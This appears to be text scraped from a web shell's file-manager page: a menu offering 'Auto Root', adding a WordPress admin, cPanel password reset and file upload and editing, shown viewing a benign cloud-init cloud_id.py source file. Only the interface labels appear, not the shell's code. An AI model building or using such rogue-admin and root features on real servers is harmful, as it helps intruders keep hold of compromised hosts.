Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
cloudinit
cmd
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: cloud_id.py
#!/usr/bin/env python3 # This file is part of cloud-init. See LICENSE file for license information. """Commandline utility to list the canonical cloud-id for an instance.""" import argparse import json import sys from cloudinit.cmd.devel import read_cfg_paths from cloudinit.cmd.status import RunningStatus, get_status_details from cloudinit.log import log_util from cloudinit.sources import METADATA_UNKNOWN, canonical_cloud_id NAME = "cloud-id" def get_parser(parser=None): """Build or extend an arg parser for the cloud-id utility. @param parser: Optional existing ArgumentParser instance representing the query subcommand which will be extended to support the args of this utility. @returns: ArgumentParser with proper argument configuration. """ default_instance_json = read_cfg_paths().get_runpath("instance_data") if not parser: parser = argparse.ArgumentParser( prog=NAME, description="Report the canonical cloud-id for this instance", ) parser.add_argument( "-j", "--json", action="store_true", default=False, help="Report all standardized cloud-id information as json.", ) parser.add_argument( "-l", "--long", action="store_true", default=False, help="Report extended cloud-id information as tab-delimited string.", ) parser.add_argument( "-i", "--instance-data", type=str, default=default_instance_json, help=( "Path to instance-data.json file. " f"Default is {default_instance_json}" ), ) return parser def handle_args(name, args): """Handle calls to 'cloud-id' cli. Print the canonical cloud-id on which the instance is running. @return: 0 on success, 1 on error, 2 on disabled, 3 on cloud-init not run. """ status_details = get_status_details() if status_details.running_status == RunningStatus.DISABLED: sys.stdout.write("{0}\n".format(status_details.running_status.value)) return 2 elif status_details.running_status == RunningStatus.NOT_STARTED: sys.stdout.write("{0}\n".format(status_details.running_status.value)) return 3 try: with open(args.instance_data) as file: instance_data = json.load(file) except IOError: return log_util.error( "File not found '%s'. Provide a path to instance data json file" " using --instance-data" % args.instance_data ) except ValueError as e: return log_util.error( "File '%s' is not valid json. %s" % (args.instance_data, e) ) v1 = instance_data.get("v1", {}) cloud_id = canonical_cloud_id( v1.get("cloud_name", METADATA_UNKNOWN), v1.get("region", METADATA_UNKNOWN), v1.get("platform", METADATA_UNKNOWN), ) if args.json: sys.stderr.write("DEPRECATED: Use: cloud-init query v1\n") v1["cloud_id"] = cloud_id response = json.dumps( # Pretty, sorted json v1, indent=1, sort_keys=True, separators=(",", ": ") ) elif args.long: response = "%s\t%s" % (cloud_id, v1.get("region", METADATA_UNKNOWN)) else: response = cloud_id sys.stdout.write("%s\n" % response) return 0 def main(): """Tool to query specific instance-data values.""" parser = get_parser() sys.exit(handle_args(NAME, parser.parse_args())) if __name__ == "__main__": main()